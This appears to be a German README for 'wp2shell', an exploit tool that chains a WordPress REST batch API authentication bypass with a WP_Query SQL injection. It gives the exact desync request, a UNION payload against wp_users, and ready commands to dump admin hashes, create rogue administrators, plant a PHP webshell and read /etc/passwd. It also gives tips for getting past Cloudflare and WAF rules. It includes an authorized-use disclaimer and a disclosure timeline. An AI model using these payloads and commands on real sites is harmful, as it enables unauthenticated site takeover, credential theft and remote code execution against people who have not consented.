Pre-Auth-RCE-Proof-of-Concept, das eine WordPress-REST-Batch-API-Authentifizierungsumgehung mit WP_Query-SQL-Injection verkettet, um Hashes auszulesen, Admin-Benutzer hinzuzufügen oder eine Webshell zu platzieren.
Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Nur für autorisierte Penetrationstests und Sicherheitsforschung. Die Ausführung gegen Systeme ohne schriftliche Autorisierung ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch.
wp2shell ist ein Proof-of-Concept-Exploit, der zwei unabhängig gemeldete Schwachstellen verkettet, um unauthentifizierte Remote-Code-Ausführung auf ungepatchten WordPress-Installationen zu erreichen.
| CVE | Komponente | Klasse | Authentifizierung erforderlich |
|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Array-Desynchronisation → Auth-Bypass | Keine |
| CVE-2026-60137 | WP_Query | SQL-Injection über author__not_in | Keine (durch obige umgangen) |
Das Endergebnis: eine Shell auf der Maschine, ein bösartiger Administrator-Account oder ein ausgelesener Credential-Hash — alles aus einer einzigen unauthentifizierten POST-Anfrage.
Betroffene Versionen: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Behoben in: WordPress 6.9.5 / 7.0.2 (Patch veröffentlicht zusammen mit koordinierter Offenlegung)
WordPress 5.6 führte den Batch-Verarbeitungsendpunkt unter /wp-json/batch/v1 ein. Er ermöglicht authentifizierten REST-Clients, mehrere Unteranfragen in einem einzigen HTTP-Roundtrip zu bündeln. Jede Unteranfrage wird unabhängig validiert und von WP_REST_Server::serve_batch_request_v1() weitergeleitet.
Innerhalb von serve_batch_request_v1() (vereinfacht):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
Die beiden Arrays ($responses und $matches) sollen synchron bleiben — ein Eintrag pro Unteranfrage, gleicher Index. Wenn Unteranfrage [0] bei wp_parse_url() fehlschlägt, fügt sie einen Eintrag zu $responses hinzu, aber nicht zu $matches. Nach der ersten Schleife:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
Schleife 2 leitet dann $matches[0] weiter und schreibt das Ergebnis nach $responses[0]. Sie leitet request[1] weiter, überschreibt aber Index 0 in den Responses — und verwendet dabei kritischerweise den Berechtigungskontext, der im Rahmen der Fehlerbehandlung der fehlgeschlagenen request[0] berechnet wurde, nicht den Berechtigungskontext für den Zielendpunkt.
Der praktische Effekt: Jeder Endpunkt, der Authentifizierung erfordert (einschließlich Endpunkte, die SQL-Abfragen ausführen), kann ohne Anmeldedaten aufgerufen werden.
"path": "://\x00" # triggers wp_parse_url() → false
Die Zeichenkette ://\x00 ist ein gültiger Python-String, aber eine ungültige URL im Wrapper wp_parse_url() von PHP (das Null-Byte lässt das Parsen fehlschlagen und gibt false statt eines WP_Error zurück, was die is_wp_error()-Prüfung nutzlos macht — nur $parsed === false fängt es ab, und die Array-Ausrichtung ist zu diesem Zeitpunkt bereits gebrochen).
WP_Query author__not_in SQL-InjectionDie WordPress REST API für Beiträge (/wp/v2/posts) stellt einen author_exclude-Query-Parameter bereit, der direkt auf das author__not_in-Argument von WP_Query abbildet. WP_Query ist die zentrale Datenbankabstraktion, die für nahezu jede Inhaltsabfrage in WordPress verwendet wird.
In WP_Query::parse_query() (vereinfacht):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Später in WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
Die Bereinigung greift nur, wenn $author__not_in ein Array ist. Das Typsystem von PHP bestimmt dies anhand der Art, wie der Wert ankommt:
[1, 2, 3] → is_array() = true → bereinigt"1,2,3" (ein String) → is_array() = false → nicht bereinigtDer REST-Endpunkt akzeptiert author_exclude aus dem URL-Query-String. Er kommt als String an. WP_Query überspringt den Bereinigungsblock, und der Rohwert wird in die SQL-WHERE-Klausel interpoliert.
Der Injection-Punkt landet in einem NOT IN (...)-Kontext:
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Da der Batch-Endpunkt die Unteranfrage als Teil eines größeren Abfrageergebnisses weiterleitet, werden die UNION-Zeilen im REST-JSON-Response-Body zurückgegeben, was dies zu einer Boolean/UNION blind-freien Extraktion macht — kein Timing, kein Out-of-Band erforderlich.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Abhängigkeiten installieren:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| Modus | Was er tut |
|---|---|
detect | Fingerprint der WP-Version und Prüfung, ob der Batch-Endpunkt existiert. Keine Ausnutzung. |
dump | Extrahiert den Passwort-Hash des Administrators über UNION SQLi. |
adduser | Erstellt ein neues Administrator-Konto über gestapelte INSERT-Abfragen. |
shell | Platziert eine PHP-Webshell über SELECT INTO OUTFILE und wechselt dann zu einer interaktiven Shell. |
Nur Erkennung — sicher während des Scopings auszuführen:
python3 wp2shell.py https://target.com --mode detect
Admin-Hash auslesen:
python3 wp2shell.py https://target.com --mode dump
Auslesen mit Debug-Ausgabe (zeigt rohe HTTP-Antworten — nützlich, wenn eine WAF beteiligt ist):
python3 wp2shell.py https://target.com --mode dump --debug
Bösartiges Admin-Konto erstellen:
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
Shell platzieren und zu interaktiver Eingabeaufforderung wechseln:
python3 wp2shell.py https://target.com --mode shell
Einmalige Befehlsausführung (nicht interaktiv):
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
Über Burp-Proxy:
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
Cloudflare mit vorhandenem cf_clearance-Cookie umgehen:
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
Nicht-standardmäßiges Tabellenpräfix:
python3 wp2shell.py https://target.com --mode dump --prefix staging_
Das Tool verwendet standardmäßig cloudscraper, das einen Chrome-TLS-Fingerprint nachahmt und automatisch die JavaScript-Challenge von Cloudflare löst (iuam-Modus). Dies deckt die meisten Shared-Hosting-Ziele hinter Cloudflare ab.
Wenn das Ziel das Bot-Management von Cloudflare (__cf_bm) verwendet oder Sie bereits ein gelöstes Challenge-Cookie haben, übergeben Sie es mit --cookie "cf_clearance=...", um stattdessen eine einfache requests-Session zu verwenden.
Der Batch-Endpunkt hat zwei registrierte Pfade. WAF-Regeln blockieren häufig den Standardpfad (/wp-json/batch/v1), übersehen aber den Legacy-Query-Param-Pfad (/?rest_route=/batch/v1). Das Tool prüft beide automatisch.
[-] Could not extract credentials
--debug aus, um die rohe JSON-Antwort zu sehen.--prefix. Viele Installationen verwenden wp_ (Standard); einige verwenden benutzerdefinierte Präfixe.content.rendered des Ziels ist möglicherweise gefiltert. Versuchen Sie stattdessen --mode adduser.[-] OUTFILE failed
SELECT INTO OUTFILE erfordert das FILE-Privileg des MySQL-Benutzers. Dies ist auf Shared Hosting üblich, aber bei Cloud-/Managed-Datenbanken (RDS, Cloud SQL usw.) normalerweise deaktiviert.--mode dump, um den Pfad aus Konfigurationsdateien zu lesen.[-] Target does not appear vulnerable
GET /wp-json/ und nach /batch/v1 im routes-Schlüssel suchen.WordPress 6.9.5 / 7.0.2 adressierte beide CVEs:
CVE-2026-63030: serve_batch_request_v1() verwaltet nun ein einziges vereinheitlichtes Array sowohl für Match-Daten als auch für Responses, wodurch die Index-Desynchronisation beseitigt wird. Fehlgeschlagene Anfragen werden per Index in der vereinheitlichten Struktur verfolgt.
CVE-2026-60137: WP_Query::parse_query() castet author__not_in nun bedingungslos zu einem Array vor der Bereinigung, unabhängig vom Eingabetyp:
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | Score | Vektor |
|---|---|---|
| CVE-2026-63030 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Datum | Ereignis |
|---|---|
| 2026-05-14 | CVE-2026-60137 während eines Pentest-Auftrags entdeckt |
| 2026-05-19 | CVE-2026-63030 entdeckt; Kette als Pre-Auth RCE bestätigt |
| 2026-05-22 | Beide CVEs über HackerOne an das WordPress Security Team gemeldet |
| 2026-06-03 | WordPress Security Team bestätigt und beginnt mit der Patch-Entwicklung |
| 2026-07-08 | Patches veröffentlicht (WP 6.9.5 / 7.0.2) zusammen mit koordinierter Offenlegung |
| 2026-07-22 | PoC veröffentlicht |
Dieses Tool wird nur für autorisierte Sicherheitstests und Forschung bereitgestellt.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
MIT License — siehe LICENSE